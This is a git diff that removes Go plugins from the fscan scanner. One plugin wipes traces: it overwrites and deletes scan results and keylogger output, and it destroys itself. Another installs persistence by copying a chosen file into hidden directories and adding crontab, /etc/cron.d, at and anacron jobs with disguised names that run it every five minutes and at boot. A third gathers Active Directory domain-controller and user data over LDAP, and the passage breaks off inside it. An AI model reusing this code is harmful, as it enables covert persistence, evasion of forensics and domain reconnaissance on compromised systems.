- - plugin := &CleanerPlugin{ - BaseLocalPlugin: local.NewBaseLocalPlugin(metadata), - targetFiles: make([]string, 0), - cleanDirectories: make([]string, 0), - cleanupStats: make(map[string]int), - } - - // 支持所有主要平台 - plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"}) - // 需要系统权限进行清理操作 - plugin.SetRequiresPrivileges(false) // 根据当前用户权限进行清理 - - return plugin -} - -// Initialize 初始化插件 -func (p *CleanerPlugin) Initialize() error { - common.LogInfo(fmt.Sprintf("初始化系统痕迹清理插件 - 平台: %s", runtime.GOOS)) - - // 获取当前执行文件路径 - if exe, err := os.Executable(); err == nil { - p.currentExecutable = exe - common.LogDebug(fmt.Sprintf("当前执行文件: %s", exe)) - } - - // 获取当前工作目录 - if wd, err := os.Getwd(); err == nil { - p.workingDirectory = wd - common.LogDebug(fmt.Sprintf("当前工作目录: %s", wd)) - } - - // 扫描要清理的文件 - if err := p.scanCleanupTargets(); err != nil { - return fmt.Errorf("扫描清理目标失败: %v", err) - } - - return p.BaseLocalPlugin.Initialize() -} - -// Scan 重写扫描方法以确保调用正确的ScanLocal实现 -func (p *CleanerPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { - return p.ScanLocal(ctx, info) -} - -// ScanLocal 执行系统痕迹清理任务 -func (p *CleanerPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { - common.LogInfo("开始系统痕迹清理...") - - // 执行清理操作 - cleanupReport, err := p.performCleanup(ctx) - if err != nil { - return &base.ScanResult{ - Success: false, - Error: err, - }, nil - } - - result := &base.ScanResult{ - Success: true, - Service: "SystemCleaner", - Banner: fmt.Sprintf("痕迹清理完成: 清理了 %d 个文件, %d 个目录, %d 个系统条目", - p.cleanupStats["files"], p.cleanupStats["directories"], p.cleanupStats["system_entries"]), - Extra: map[string]interface{}{ - "platform": runtime.GOOS, - "files_cleaned": p.cleanupStats["files"], - "directories_cleaned": p.cleanupStats["directories"], - "system_entries_cleaned": p.cleanupStats["system_entries"], - "cleanup_report": cleanupReport, - }, - } - - common.LogSuccess(fmt.Sprintf("系统痕迹清理完成: 文件(%d) 目录(%d) 系统条目(%d)", - p.cleanupStats["files"], p.cleanupStats["directories"], p.cleanupStats["system_entries"])) - - return result, nil -} - -// scanCleanupTargets 扫描要清理的目标 -func (p *CleanerPlugin) scanCleanupTargets() error { - common.LogInfo("扫描清理目标...") - - // 扫描当前目录下的fscan相关文件 - if err := filepath.Walk(p.workingDirectory, func(path string, info os.FileInfo, err error) error { - if err != nil { - return nil // 忽略访问错误 - } - - if info.IsDir() { - return nil - } - - filename := strings.ToLower(info.Name()) - - // 检查fscan相关文件 - if p.isFscanRelatedFile(filename) { - p.targetFiles = append(p.targetFiles, path) - common.LogDebug(fmt.Sprintf("发现清理目标: %s", path)) - } - - return nil - }); err != nil { - common.LogError(fmt.Sprintf("扫描文件失败: %v", err)) - } - - common.LogInfo(fmt.Sprintf("发现 %d 个文件需要清理", len(p.targetFiles))) - return nil -} - -// isFscanRelatedFile 判断是否为fscan相关文件 - 使用保守的策略 -func (p *CleanerPlugin) isFscanRelatedFile(filename string) bool { - // 严格的项目文件排除列表 - 确保不误删项目文件 - excludePatterns := []string{ - ".go", ".mod", ".sum", ".md", ".yml", ".yaml", // 源码和配置 - ".git", ".claude", ".idea", ".vscode", // 版本控制和IDE - "dockerfile", "makefile", "license", "readme", // 项目文件 - "plugins", "common", "core", "webscan", // 核心目录 - "testdocker", // 测试配置 - ".json", ".xml", // 配置文件 - } - - // 检查是否为需要排除的文件 - for _, exclude := range excludePatterns { - if strings.Contains(filename, exclude) { - return false - } - } - - // 只清理明确的输出和结果文件 - 非常保守的策略 - cleanPatterns := []string{ - "result.txt", // 默认扫描结果文件 - "results.txt", // 可能的结果文件 - "output.txt", // 输出文件 - "scan_result.txt", // 扫描结果 - "keylog.txt", // 键盘记录输出 - "my_keylog.txt", // 自定义键盘记录 - } - - // 排除当前执行文件(稍后单独处理) - if p.currentExecutable != "" { - currentExeName := strings.ToLower(filepath.Base(p.currentExecutable)) - if filename == currentExeName { - return false - } - } - - // 只清理明确匹配的输出文件 - for _, pattern := range cleanPatterns { - if filename == pattern { // 精确匹配,不使用 Contains - return true - } - } - - // 清理明确的测试生成可执行文件(但保留源码) - if strings.HasSuffix(filename, ".exe") { - // 只清理包含特定测试标识的exe文件 - testPatterns := []string{"_test.exe", "_debug.exe", "fscan_test", "fscan_debug"} - for _, pattern := range testPatterns { - if strings.Contains(filename, pattern) { - return true - } - } - } - - return false -} - -// performCleanup 执行清理操作 -func (p *CleanerPlugin) performCleanup(ctx context.Context) (map[string]interface{}, error) { - report := make(map[string]interface{}) - - // 初始化统计 - p.cleanupStats["files"] = 0 - p.cleanupStats["directories"] = 0 - p.cleanupStats["system_entries"] = 0 - - // 1. 清理文件 - common.LogInfo("清理相关文件...") - fileReport := p.cleanTargetFiles() - report["file_cleanup"] = fileReport - - // 2. 清理系统痕迹(平台特定) - common.LogInfo("清理系统痕迹...") - systemReport := p.cleanSystemTraces() - report["system_cleanup"] = systemReport - - // 3. 清理网络痕迹 - common.LogInfo("清理网络痕迹...") - networkReport := p.cleanNetworkTraces() - report["network_cleanup"] = networkReport - - // 4. 最后清理自身(需要特殊处理) - if p.currentExecutable != "" { - common.LogInfo("准备清理自身...") - selfReport := p.prepareSelfDestruction() - report["self_cleanup"] = selfReport - } - - return report, nil -} - -// cleanTargetFiles 清理文件 -func (p *CleanerPlugin) cleanTargetFiles() []string { - var cleaned []string - - for _, file := range p.targetFiles { - if err := p.secureDelete(file); err != nil { - common.LogError(fmt.Sprintf("删除文件失败 %s: %v", file, err)) - } else { - cleaned = append(cleaned, file) - p.cleanupStats["files"]++ - common.LogSuccess(fmt.Sprintf("已删除: %s", file)) - } - } - - return cleaned -} - -// secureDelete 安全删除文件(覆盖后删除) -func (p *CleanerPlugin) secureDelete(filepath string) error { - // 获取文件信息 - info, err := os.Stat(filepath) - if err != nil { - return err - } - - // 小文件进行覆盖删除 - if info.Size() < 10*1024*1024 { // 10MB以下 - if err := p.overwriteFile(filepath); err != nil { - common.LogDebug(fmt.Sprintf("覆盖文件失败: %v", err)) - } - } - - // 删除文件 - return os.Remove(filepath) -} - -// overwriteFile 覆盖文件内容 -func (p *CleanerPlugin) overwriteFile(filepath string) error { - info, err := os.Stat(filepath) - if err != nil { - return err - } - - file, err := os.OpenFile(filepath, os.O_WRONLY, 0) - if err != nil { - return err - } - defer file.Close() - - // 用随机数据覆盖 - size := info.Size() - buffer := make([]byte, 4096) - for i := range buffer { - buffer[i] = byte(time.Now().UnixNano() % 256) - } - - for size > 0 { - writeSize := int64(len(buffer)) - if size < writeSize { - writeSize = size - } - - if _, err := file.Write(buffer[:writeSize]); err != nil { - return err - } - size -= writeSize - } - - return file.Sync() -} - -// prepareSelfDestruction 准备自毁 - 平台特定实现在各自的文件中 - -// GetLocalData 获取清理器本地数据 -func (p *CleanerPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) { - data := make(map[string]interface{}) - - data["plugin_type"] = "cleaner" - data["platform"] = runtime.GOOS - data["current_executable"] = p.currentExecutable - data["working_directory"] = p.workingDirectory - data["cleanup_targets"] = len(p.targetFiles) - - if hostname, err := os.Hostname(); err == nil { - data["hostname"] = hostname - } - - return data, nil -} - -// ExtractData 提取数据 -func (p *CleanerPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) { - return &base.ExploitResult{ - Success: true, - Output: fmt.Sprintf("系统痕迹清理完成,清理了 %d 个项目", p.cleanupStats["files"]+p.cleanupStats["directories"]+p.cleanupStats["system_entries"]), - Data: data, - Extra: map[string]interface{}{ - "platform": runtime.GOOS, - "cleanup_stats": p.cleanupStats, - "status": "completed", - }, - }, nil -} - -// GetInfo 获取插件信息 -func (p *CleanerPlugin) GetInfo() string { - var info strings.Builder - - info.WriteString("跨平台系统痕迹清理插件\n") - info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", "))) - info.WriteString("功能:\n") - info.WriteString(" - 清理fscan相关输出文件\n") - info.WriteString(" - 清理系统日志痕迹\n") - info.WriteString(" - 清理网络连接痕迹\n") - info.WriteString(" - 清理Shell历史记录\n") - info.WriteString(" - 安全删除敏感文件\n") - info.WriteString(" - 自毁功能\n") - info.WriteString("注意: 根据当前用户权限执行清理操作\n") - - return info.String() -} - -// RegisterCleanerPlugin 注册系统痕迹清理插件 -func RegisterCleanerPlugin() { - factory := base.NewSimplePluginFactory( - &base.PluginMetadata{ - Name: "cleaner", - Version: "1.0.0", - Author: "fscan-team", - Description: "跨平台系统痕迹清理插件,清理扫描过程中产生的文件和系统痕迹", - Category: "local", - Tags: []string{"cleaner", "local", "forensics", "cross-platform"}, - Protocols: []string{"local"}, - }, - func() base.Plugin { - return NewCleanerPlugin() - }, - ) - - base.GlobalPluginRegistry.Register("cleaner", factory) -} - -// init 插件注册函数 -func init() { - RegisterCleanerPlugin() -} \ No newline at end of file diff --git a/plugins/local_backup/crontask/plugin.go b/plugins/local_backup/crontask/plugin.go deleted file mode 100644 index 2a2935e..0000000 --- a/plugins/local_backup/crontask/plugin.go +++ /dev/null @@ -1,424 +0,0 @@ -//go:build linux - -package crontask - -import ( - "context" - "fmt" - "os" - "os/exec" - "os/user" - "path/filepath" - "runtime" - "strings" - "time" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/plugins/base" - "github.com/shadow1ng/fscan/plugins/local" -) - -// CronTaskPlugin 计划任务持久化插件 - 使用简化架构 -type CronTaskPlugin struct { - *local.BaseLocalPlugin - targetFile string -} - -// NewCronTaskPlugin 创建计划任务持久化插件 - 简化版本 -func NewCronTaskPlugin() *CronTaskPlugin { - // 从全局参数获取目标文件路径 - targetFile := common.PersistenceTargetFile - if targetFile == "" { - targetFile = "" // 需要用户指定 - } - - metadata := &base.PluginMetadata{ - Name: "crontask", - Version: "1.0.0", - Author: "fscan-team", - Description: "Linux 计划任务持久化插件,通过crontab定时任务实现持久化", - Category: "local", - Tags: []string{"local", "persistence", "linux", "cron", "schedule"}, - Protocols: []string{"local"}, - } - - plugin := &CronTaskPlugin{ - BaseLocalPlugin: local.NewBaseLocalPlugin(metadata), - targetFile: targetFile, - } - - // 只支持Linux平台 - plugin.SetPlatformSupport([]string{"linux"}) - // 需要crontab权限 - plugin.SetRequiresPrivileges(false) - - return plugin -} - -// Initialize 初始化插件 -func (p *CronTaskPlugin) Initialize() error { - if p.targetFile == "" { - return fmt.Errorf("必须通过 -persistence-file 参数指定目标文件路径") - } - - // 检查目标文件是否存在 - if _, err := os.Stat(p.targetFile); os.IsNotExist(err) { - return fmt.Errorf("目标文件不存在: %s", p.targetFile) - } - - // 检查crontab是否可用 - if _, err := exec.LookPath("crontab"); err != nil { - return fmt.Errorf("crontab命令不可用: %v", err) - } - - return p.BaseLocalPlugin.Initialize() -} - -// Scan 重写扫描方法以确保调用正确的ScanLocal实现 -func (p *CronTaskPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { - return p.ScanLocal(ctx, info) -} - -// ScanLocal 执行计划任务持久化 - 简化版本 -func (p *CronTaskPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { - if runtime.GOOS != "linux" { - return &base.ScanResult{ - Success: false, - Error: fmt.Errorf("计划任务持久化只支持Linux平台"), - }, nil - } - - common.LogBase("开始计划任务持久化...") - common.LogBase(fmt.Sprintf("目标文件: %s", p.targetFile)) - - // 执行持久化操作 - results := make([]string, 0) - - // 1. 复制文件到持久化目录 - persistPath, err := p.copyToPersistPath() - if err != nil { - common.LogError(fmt.Sprintf("复制文件失败: %v", err)) - } else { - results = append(results, fmt.Sprintf("文件已复制到: %s", persistPath)) - common.LogSuccess(fmt.Sprintf("文件已复制到: %s", persistPath)) - } - - // 2. 添加用户crontab任务 - err = p.addUserCronJob(persistPath) - if err != nil { - common.LogError(fmt.Sprintf("添加用户cron任务失败: %v", err)) - } else { - results = append(results, "已添加用户crontab任务") - common.LogSuccess("已添加用户crontab任务") - } - - // 3. 添加系统cron任务 - systemCronFiles, err := p.addSystemCronJobs(persistPath) - if err != nil { - common.LogError(fmt.Sprintf("添加系统cron任务失败: %v", err)) - } else { - results = append(results, fmt.Sprintf("已添加系统cron任务: %s", strings.Join(systemCronFiles, ", "))) - common.LogSuccess("已添加系统cron任务") - } - - // 4. 创建at任务(一次性任务) - err = p.addAtJob(persistPath) - if err != nil { - common.LogError(fmt.Sprintf("添加at任务失败: %v", err)) - } else { - results = append(results, "已添加at延时任务") - common.LogSuccess("已添加at延时任务") - } - - // 5. 创建anacron任务 - err = p.addAnacronJob(persistPath) - if err != nil { - common.LogError(fmt.Sprintf("添加anacron任务失败: %v", err)) - } else { - results = append(results, "已添加anacron任务") - common.LogSuccess("已添加anacron任务") - } - - success := len(results) > 0 - - result := &base.ScanResult{ - Success: success, - Service: "CronTaskPersistence", - Banner: fmt.Sprintf("计划任务持久化完成 - 目标: %s", filepath.Base(p.targetFile)), - Extra: map[string]interface{}{ - "target_file": p.targetFile, - "platform": runtime.GOOS, - "methods": results, - "status": "completed", - }, - } - - return result, nil -} - -// copyToPersistPath 复制文件到持久化目录 -func (p *CronTaskPlugin) copyToPersistPath() (string, error) { - // 选择持久化目录 - persistDirs := []string{ - "/tmp/.system", - "/var/tmp/.cache", - "/opt/.local", - } - - // 获取用户目录 - if usr, err := user.Current(); err == nil { - userDirs := []string{ - filepath.Join(usr.HomeDir, ".local", "bin"), - filepath.Join(usr.HomeDir, ".cache"), - } - persistDirs = append(userDirs, persistDirs...) - } - - var targetDir string - for _, dir := range persistDirs { - if err := os.MkdirAll(dir, 0755); err == nil { - targetDir = dir - break - } - } - - if targetDir == "" { - return "", fmt.Errorf("无法创建持久化目录") - } - - // 生成隐藏文件名 - basename := filepath.Base(p.targetFile) - hiddenName := "." + strings.TrimSuffix(basename, filepath.Ext(basename)) - if p.isScriptFile() { - hiddenName += ".sh" - } - - targetPath := filepath.Join(targetDir, hiddenName) - - // 复制文件 - err := p.copyFile(p.targetFile, targetPath) - if err != nil { - return "", err - } - - // 设置执行权限 - os.Chmod(targetPath, 0755) - - return targetPath, nil -} - -// copyFile 复制文件内容 -func (p *CronTaskPlugin) copyFile(src, dst string) error { - sourceData, err := os.ReadFile(src) - if err != nil { - return err - } - return os.WriteFile(dst, sourceData, 0755) -} - -// addUserCronJob 添加用户crontab任务 -func (p *CronTaskPlugin) addUserCronJob(execPath string) error { - // 获取现有crontab - cmd := exec.Command("crontab", "-l") - currentCrontab, _ := cmd.Output() - - // 生成新的cron任务 - cronJobs := p.generateCronJobs(execPath) - newCrontab := string(currentCrontab) - - for _, job := range cronJobs { - if !strings.Contains(newCrontab, execPath) { - if newCrontab != "" && !strings.HasSuffix(newCrontab, "\n") { - newCrontab += "\n" - } - newCrontab += job + "\n" - } - } - - // 应用新的crontab - cmd = exec.Command("crontab", "-") - cmd.Stdin = strings.NewReader(newCrontab) - return cmd.Run() -} - -// addSystemCronJobs 添加系统cron任务 -func (p *CronTaskPlugin) addSystemCronJobs(execPath string) ([]string, error) { - cronDirs := []string{ - "/etc/cron.d", - "/etc/cron.hourly", - "/etc/cron.daily", - "/etc/cron.weekly", - "/etc/cron.monthly", - } - - var modified []string - - // 在cron.d中创建配置文件 - cronFile := filepath.Join("/etc/cron.d", "system-update") - cronContent := fmt.Sprintf("*/5 * * * * root %s >/dev/null 2>&1\n", execPath) - if err := os.WriteFile(cronFile, []byte(cronContent), 0644); err == nil { - modified = append(modified, cronFile) - } - - // 在每个cron目录中创建脚本 - for _, cronDir := range cronDirs[1:] { // 跳过cron.d - if _, err := os.Stat(cronDir); os.IsNotExist(err) { - continue - } - - scriptFile := filepath.Join(cronDir, ".system-check") - scriptContent := fmt.Sprintf("#!/bin/bash\n%s >/dev/null 2>&1 &\n", execPath) - - if err := os.WriteFile(scriptFile, []byte(scriptContent), 0755); err == nil { - modified = append(modified, scriptFile) - } - } - - if len(modified) == 0 { - return nil, fmt.Errorf("无法创建任何系统cron任务") - } - - return modified, nil -} - -// addAtJob 添加at延时任务 -func (p *CronTaskPlugin) addAtJob(execPath string) error { - // 检查at命令是否可用 - if _, err := exec.LookPath("at"); err != nil { - return err - } - - // 创建5分钟后执行的任务 - atCommand := fmt.Sprintf("echo '%s >/dev/null 2>&1' | at now + 5 minutes", execPath) - cmd := exec.Command("sh", "-c", atCommand) - return cmd.Run() -} - -// addAnacronJob 添加anacron任务 -func (p *CronTaskPlugin) addAnacronJob(execPath string) error { - anacronFile := "/etc/anacrontab" - - // 检查anacrontab是否存在 - if _, err := os.Stat(anacronFile); os.IsNotExist(err) { - return err - } - - // 读取现有内容 - content := "" - if data, err := os.ReadFile(anacronFile); err == nil { - content = string(data) - } - - // 检查是否已存在 - if strings.Contains(content, execPath) { - return nil - } - - // 添加新任务 - anacronLine := fmt.Sprintf("1\t5\tsystem.update\t%s >/dev/null 2>&1", execPath) - if !strings.HasSuffix(content, "\n") && content != "" { - content += "\n" - } - content += anacronLine + "\n" - - return os.WriteFile(anacronFile, []byte(content), 0644) -} - -// generateCronJobs 生成多种cron任务 -func (p *CronTaskPlugin) generateCronJobs(execPath string) []string { - baseCmd := execPath - if p.isScriptFile() { - baseCmd = fmt.Sprintf("bash %s", execPath) - } - baseCmd += " >/dev/null 2>&1" - - return []string{ - // 每5分钟执行一次 - fmt.Sprintf("*/5 * * * * %s", baseCmd), - // 每小时执行一次 - fmt.Sprintf("0 * * * * %s", baseCmd), - // 每天执行一次 - fmt.Sprintf("0 0 * * * %s", baseCmd), - // 启动时执行 - fmt.Sprintf("@reboot %s", baseCmd), - } -} - -// isScriptFile 检查是否为脚本文件 -func (p *CronTaskPlugin) isScriptFile() bool { - ext := strings.ToLower(filepath.Ext(p.targetFile)) - return ext == ".sh" || ext == ".bash" || ext == ".zsh" -} - -// GetLocalData 获取计划任务持久化本地数据 -func (p *CronTaskPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) { - data := make(map[string]interface{}) - - data["plugin_type"] = "crontask" - data["platform"] = runtime.GOOS - data["target_file"] = p.targetFile - data["persistence_method"] = "Cron Task" - - if hostname, err := os.Hostname(); err == nil { - data["hostname"] = hostname - } - - // 获取当前时间 - data["schedule_time"] = time.Now().Format("2006-01-02 15:04:05") - - return data, nil -} - -// ExtractData 提取数据 -func (p *CronTaskPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) { - return &base.ExploitResult{ - Success: true, - Output: fmt.Sprintf("计划任务持久化完成,目标文件: %s", p.targetFile), - Data: data, - Extra: map[string]interface{}{ - "target_file": p.targetFile, - "persistence_method": "Cron Task", - "status": "completed", - }, - }, nil -} - -// GetInfo 获取插件信息 -func (p *CronTaskPlugin) GetInfo() string { - var info strings.Builder - - info.WriteString("计划任务持久化插件\n") - info.WriteString(fmt.Sprintf("目标文件: %s\n", p.targetFile)) - info.WriteString("支持平台: Linux\n") - info.WriteString("功能: 通过cron定时任务实现持久化\n") - info.WriteString("方法: crontab、系统cron、at任务、anacron\n") - info.WriteString("频率: 每5分钟、每小时、每天、启动时\n") - info.WriteString("支持文件: 可执行文件和shell脚本\n") - - return info.String() -} - -// RegisterCronTaskPlugin 注册计划任务持久化插件 -func RegisterCronTaskPlugin() { - factory := base.NewSimplePluginFactory( - &base.PluginMetadata{ - Name: "crontask", - Version: "1.0.0", - Author: "fscan-team", - Description: "Linux 计划任务持久化插件,通过crontab定时任务实现持久化", - Category: "local", - Tags: []string{"crontask", "local", "persistence", "linux"}, - Protocols: []string{"local"}, - }, - func() base.Plugin { - return NewCronTaskPlugin() - }, - ) - - base.GlobalPluginRegistry.Register("crontask", factory) -} - -// init 插件注册函数 -func init() { - RegisterCronTaskPlugin() -} \ No newline at end of file diff --git a/plugins/local_backup/dcinfo/plugin.go b/plugins/local_backup/dcinfo/plugin.go deleted file mode 100644 index 97cc782..0000000 --- a/plugins/local_backup/dcinfo/plugin.go +++ /dev/null @@ -1,1021 +0,0 @@ -//go:build windows - -package dcinfo - -import ( - "context" - "fmt" - "github.com/go-ldap/ldap/v3" - "github.com/go-ldap/ldap/v3/gssapi" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/plugins/base" - "github.com/shadow1ng/fscan/plugins/local" - "net" - "os/exec" - "strings" -) - -// DCInfoPlugin 域控信息收集插件 - 使用简化架构 -type DCInfoPlugin struct { - *local.BaseLocalPlugin -} - -// DomainInfo 域信息结构 -type DomainInfo struct { - Domain string - BaseDN string - LDAPConn *ldap.Conn -} - -// NewDCInfoPlugin 创建域控信息收集插件 - 简化版本 -func NewDCInfoPlugin() *DCInfoPlugin { - metadata := &base.PluginMetadata{ - Name: "dcinfo", - Version: "1.0.0", - Author: "fscan-team", - Description: "Windows域控制器信息收集插件", - Category: "local", - Tags: []string{"local", "domain", "ldap", "windows"}, - Protocols: []string{"local"}, - } - - plugin := &DCInfoPlugin{ - BaseLocalPlugin: local.NewBaseLocalPlugin(metadata), - } - - // 仅支持Windows平台 - plugin.SetPlatformSupport([]string{"windows"}) - // 不需要特殊权限,使用当前用户凭据 - plugin.SetRequiresPrivileges(false) - - return plugin -} - -// Scan 重写扫描方法以确保调用正确的ScanLocal实现 -func (p *DCInfoPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { - return p.ScanLocal(ctx, info) -} - -// connectToDomain 连接到域控制器 - 简化版本 -func (p *DCInfoPlugin) connectToDomain() (*DomainInfo, error) { - // 获取域控制器地址 - dcHost, domain, err := p.getDomainController() - if err != nil { - return nil, fmt.Errorf("获取域控制器失败: %v", err) - } - - // 建立LDAP连接 - ldapConn, baseDN, err := p.connectToLDAP(dcHost, domain) - if err != nil { - return nil, fmt.Errorf("LDAP连接失败: %v", err) - } - - return &DomainInfo{ - Domain: domain, - BaseDN: baseDN, - LDAPConn: ldapConn, - }, nil -} - -// getDomainController 获取域控制器地址 -func (p *DCInfoPlugin) getDomainController() (string, string, error) { - common.LogDebug("开始查询域控制器地址...") - - // 方法1: 尝试使用PowerShell获取域名 - domain, err := p.getDomainNamePowerShell() - if err != nil { - // 方法2: 尝试使用wmic(如果可用) - domain, err = p.getDomainNameWmic() - if err != nil { - // 方法3: 尝试使用环境变量 - domain, err = p.getDomainNameFromEnv() - if err != nil { - return "", "", fmt.Errorf("获取域名失败: %v", err) - } - } - } - - if domain == "" || domain == "WORKGROUP" { - return "", "", fmt.Errorf("当前机器未加入域") - } - - common.LogDebug(fmt.Sprintf("获取到域名: %s", domain)) - - // 查询域控制器 - dcHost, err := p.findDomainController(domain) - if err != nil { - // 备选方案:使用域名直接构造 - dcHost = fmt.Sprintf("dc.%s", domain) - common.LogBase(fmt.Sprintf("使用备选域控地址: %s", dcHost)) - } - - return dcHost, domain, nil -} - -// getDomainNamePowerShell 使用PowerShell获取域名 -func (p *DCInfoPlugin) getDomainNamePowerShell() (string, error) { - cmd := exec.Command("powershell", "-Command", "(Get-WmiObject Win32_ComputerSystem).Domain") - output, err := cmd.Output() - if err != nil { - return "", err - } - - domain := strings.TrimSpace(string(output)) - if domain == "" || domain == "WORKGROUP" { - return "", fmt.Errorf("未加入域") - } - - return domain, nil -} - -// getDomainNameWmic 使用wmic获取域名 -func (p *DCInfoPlugin) getDomainNameWmic() (string, error) { - cmd := exec.Command("wmic", "computersystem", "get", "domain", "/value") - output, err := cmd.Output() - if err != nil { - return "", err - } - - lines := strings.Split(string(output), "\n") - for _, line := range lines { - if strings.HasPrefix(line, "Domain=") { - domain := strings.TrimSpace(strings.TrimPrefix(line, "Domain=")) - if domain != "" && domain != "WORKGROUP" { - return domain, nil - } - } - } - - return "", fmt.Errorf("未找到域名") -} - -// getDomainNameFromEnv 从环境变量获取域名 -func (p *DCInfoPlugin) getDomainNameFromEnv() (string, error) { - // 尝试从环境变量获取 - cmd := exec.Command("cmd", "/c", "echo %USERDOMAIN%") - output, err := cmd.Output() - if err != nil { - return "", err - } - - userDomain := strings.ToLower(strings.TrimSpace(string(output))) - if userDomain != "" && userDomain != "workgroup" && userDomain != "%userdomain%" { - return userDomain, nil - } - - return "", fmt.Errorf("从环境变量获取域名失败") -} - -// findDomainController 查找域控制器 -func (p *DCInfoPlugin) findDomainController(domain string) (string, error) { - // 方法1: 使用nslookup查询SRV记录 - cmd := exec.Command("nslookup", "-type=SRV", fmt.Sprintf("_ldap._tcp.dc._msdcs.%s", domain)) - output, err := cmd.Output() - if err == nil { - // 解析nslookup输出 - lines := strings.Split(string(output), "\n") - for _, line := range lines { - if strings.Contains(line, "svr hostname") || strings.Contains(line, "service") { - parts := strings.Split(line, "=") - if len(parts) > 1 { - dcHost := strings.TrimSpace(parts[len(parts)-1]) - dcHost = strings.TrimSuffix(dcHost, ".") - if dcHost != "" { - common.LogSuccess(fmt.Sprintf("找到域控制器: %s", dcHost)) - return dcHost, nil - } - } - } - } - } - - // 方法2: 尝试直接ping域名 - cmd = exec.Command("ping", "-n", "1", domain) - if err := cmd.Run(); err == nil { - common.LogSuccess(fmt.Sprintf("域控制器可能是: %s", domain)) - return domain, nil - } - - return "", fmt.Errorf("无法找到域控制器") -} - -// connectToLDAP 连接到LDAP服务器 -func (p *DCInfoPlugin) connectToLDAP(dcHost, domain string) (*ldap.Conn, string, error) { - common.LogDebug(fmt.Sprintf("尝试连接到LDAP服务器: %s", dcHost)) - - // 创建SSPI客户端 - ldapClient, err := gssapi.NewSSPIClient() - if err != nil { - return nil, "", fmt.Errorf("创建SSPI客户端失败: %v", err) - } - defer ldapClient.Close() - - // 尝试多种连接方式 - var conn *ldap.Conn - var lastError error - - // 方法1: 直接使用主机名连接 - common.LogDebug(fmt.Sprintf("方法1: 直接连接 %s:389", dcHost)) - conn, err = ldap.DialURL(fmt.Sprintf("ldap://%s:389", dcHost)) - if err != nil { - common.LogDebug(fmt.Sprintf("方法1失败: %v", err)) - lastError = err - - // 方法2: 尝试使用IPv4地址 - common.LogDebug("方法2: 解析IPv4地址") - ipv4, err := p.resolveIPv4(dcHost) - if err == nil { - common.LogDebug(fmt.Sprintf("解析到IPv4地址: %s", ipv4)) - conn, err = ldap.DialURL(fmt.Sprintf("ldap://%s:389", ipv4)) - if err != nil { - common.LogDebug(fmt.Sprintf("IPv4连接失败: %v", err)) - lastError = err - } - } else { - common.LogDebug(fmt.Sprintf("IPv4解析失败: %v", err)) - lastError = err - } - } - - if conn == nil { - return nil, "", fmt.Errorf("LDAP连接失败: %v", lastError) - } - - common.LogSuccess("LDAP连接建立成功") - - // 使用GSSAPI进行绑定 - common.LogDebug("开始GSSAPI认证...") - err = conn.GSSAPIBind(ldapClient, fmt.Sprintf("ldap/%s", dcHost), "") - if err != nil { - conn.Close() - return nil, "", fmt.Errorf("GSSAPI绑定失败: %v", err) - } - - common.LogSuccess("GSSAPI认证成功") - - // 获取BaseDN - common.LogDebug("获取BaseDN...") - baseDN, err := p.getBaseDN(conn, domain) - if err != nil { - conn.Close() - return nil, "", err - } - - common.LogSuccess(fmt.Sprintf("BaseDN获取成功: %s", baseDN)) - return conn, baseDN, nil -} - -// getBaseDN 获取BaseDN -func (p *DCInfoPlugin) getBaseDN(conn *ldap.Conn, domain string) (string, error) { - searchRequest := ldap.NewSearchRequest( - "", - ldap.ScopeBaseObject, - ldap.NeverDerefAliases, - 0, 0, false, - "(objectClass=*)", - []string{"defaultNamingContext"}, - nil, - ) - - result, err := conn.Search(searchRequest) - if err != nil { - return "", fmt.Errorf("获取defaultNamingContext失败: %v", err) - } - - if len(result.Entries) == 0 { - // 备选方案:从域名构造BaseDN - parts := strings.Split(domain, ".") - var dn []string - for _, part := range parts { - dn = append(dn, fmt.Sprintf("DC=%s", part)) - } - return strings.Join(dn, ","), nil - } - - baseDN := result.Entries[0].GetAttributeValue("defaultNamingContext") - if baseDN == "" { - return "", fmt.Errorf("获取BaseDN失败") - } - - return baseDN, nil -} - -// resolveIPv4 解析主机名为IPv4地址 -func (p *DCInfoPlugin) resolveIPv4(hostname string) (string, error) { - ips, err := net.LookupIP(hostname) - if err != nil { - return "", err - } - - // 查找第一个IPv4地址 - for _, ip := range ips { - if ip.To4() != nil { - return ip.String(), nil - } - } - - return "", fmt.Errorf("未找到IPv4地址") -} - -// ScanLocal 执行域控信息扫描 - 简化版本 -func (p *DCInfoPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { - common.LogInfo("开始域控制器信息收集...") - - // 建立域控连接 - domainConn, err := p.connectToDomain() - if err != nil { - // 提供更友好的错误信息 - if strings.Contains(err.Error(), "未加入域") || strings.Contains(err.Error(), "WORKGROUP") { - common.LogError("当前计算机未加入域环境,无法执行域信息收集") - return &base.ScanResult{ - Success: false, - Error: fmt.Errorf("当前计算机未加入域环境"), - Extra: map[string]interface{}{"suggestion": "此插件需要在域环境中运行"}, - }, nil - } - return &base.ScanResult{ - Success: false, - Error: fmt.Errorf("域控连接失败: %v", err), - }, nil - } - defer func() { - if domainConn.LDAPConn != nil { - domainConn.LDAPConn.Close() - } - }() - - // 收集域信息 - domainData := make(map[string]interface{}) - - // 获取域基本信息 - if domainInfo, err := p.getDomainInfo(domainConn); err == nil { - domainData["domain_info"] = domainInfo - p.logDomainInfo(domainInfo) - } - - // 获取域控制器详细信息 - if domainControllers, err := p.getDomainControllers(domainConn); err == nil { - domainData["domain_controllers"] = domainControllers - p.logDomainControllers(domainControllers) - } - - // 获取域用户(限制数量并显示详细信息) - if users, err := p.getDomainUsersDetailed(domainConn); err == nil { - domainData["domain_users"] = users - p.logDomainUsers(users) - } else { - 